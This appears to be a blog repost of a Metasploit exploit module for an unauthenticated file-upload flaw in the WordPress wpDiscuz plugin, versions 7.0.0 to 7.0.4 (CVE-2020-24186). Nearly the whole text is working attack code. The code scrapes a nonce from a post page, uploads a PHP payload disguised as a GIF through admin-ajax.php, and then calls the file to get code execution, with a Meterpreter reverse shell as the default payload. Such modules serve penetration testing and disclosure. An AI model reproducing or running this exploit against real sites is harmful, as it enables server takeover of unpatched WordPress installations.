Tuesday, June 29, 2021

WordPress wpDiscuz 7.0.4 Shell Upload

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress wpDiscuz Unauthenticated File Upload Vulnerability',
'Description' => %q{
This module exploits an arbitrary file upload in the WordPress wpDiscuz plugin
versions >= `7.0.0` and <= `7.0.4`. This flaw gave unauthenticated attackers the ability
to upload arbitrary files, including PHP files, and achieve remote code execution on a
vulnerable site’s server.
},
'Author' =>
[
'Chloe Chamberland', # Vulnerability Discovery, initial msf module
'Hoa Nguyen - SunCSR' # Metasploit Module enhancement
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2020-24186'],
['WPVDB', '10333'],
['URL', 'https://www.wordfence.com/blog/2020/07/critical-arbitrary-file-upload-vulnerability-patched-in-wpdiscuz-plugin/'],
['URL', 'https://github.com/suncsr/wpDiscuz_unauthenticated_arbitrary_file_upload/blob/main/README.md'],
['URL', 'https://plugins.trac.wordpress.org/changeset/2345429/wpdiscuz']
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['wpDiscuz < 7.0.5', {}]],
'DisclosureDate' => '2020-02-21',
'DefaultOptions' =>
{
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
},
'DefaultTarget' => 0,
'Notes' =>
{
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK]
}
)
)

register_options [
OptString.new('BLOGPATH', [true, 'Link to the post [/index.php/2020/12/12/post1]', nil]),
]
end

def check
check_plugin_version_from_readme('wpdiscuz', '7.0.5', '7.0.0')
end

def blogpath
datastore['BLOGPATH']
end

def find_wmusecurity_id
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, blogpath) })
fail_with(Failure::UnexpectedReply, 'Failed to access blog page') unless res

wmusecurity_id = res.body.match(/wmuSecurity":"(\w+)/)&.captures
unless wmusecurity_id
fail_with(Failure::NotFound, 'Failed to retrieve the wmusecurity id')
end

wmusecurity_id
end

def exploit
wmusecurity_id = find_wmusecurity_id[0]
php_page_name = "#{rand_text_alpha(5..12)}.php"
data = Rex::MIME::Message.new
data.add_part('wmuUploadFiles', nil, nil, 'form-data; name="action"')
data.add_part(wmusecurity_id, nil, nil, 'form-data; name="wmu_nonce"')
data.add_part('undefined', nil, nil, 'form-data; name="wmuAttachmentsData"')
data.add_part('1', nil, nil, 'form-data; name="postId"')
data.add_part("GIF8#{payload.encoded}", 'image/gif', nil, "form-data; name=\"wmu_files[0]\"; filename=\"#{php_page_name}\"")
post_data = data.to_s

res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
)

fail_with(Failure::UnexpectedReply, 'Server did not respond') unless res
unless res.code == 200 && res.body =~ /#{php_page_name}/
fail_with(Failure::UnexpectedReply, 'Unable to deploy payload')
end

json_data = JSON.parse(res.body)
upload_url = json_data.dig('data', 'previewsData', 'images', 0, 'url')
fail_with(Failure::UnexpectedReply, "#{peer} - Upload was unsuccessful") unless upload_url
wp_shell_upload = upload_url.split('/').last
fail_with(Failure::NotFound, "#{peer} - Path not found in response body") unless wp_shell_upload.ends_with?('.php')
print_good("Payload uploaded as #{php_page_name}")
register_file_for_cleanup(php_page_name)

print_status('Calling payload...')
time = Time.new
year = time.year.to_s
month = format('%02d', time.month)
send_request_cgi(
{ 'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', year.to_s, month.to_s, wp_shell_upload) }
)
end
end
 

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Thanks for everything Templateism - You should have written the code a little more complicated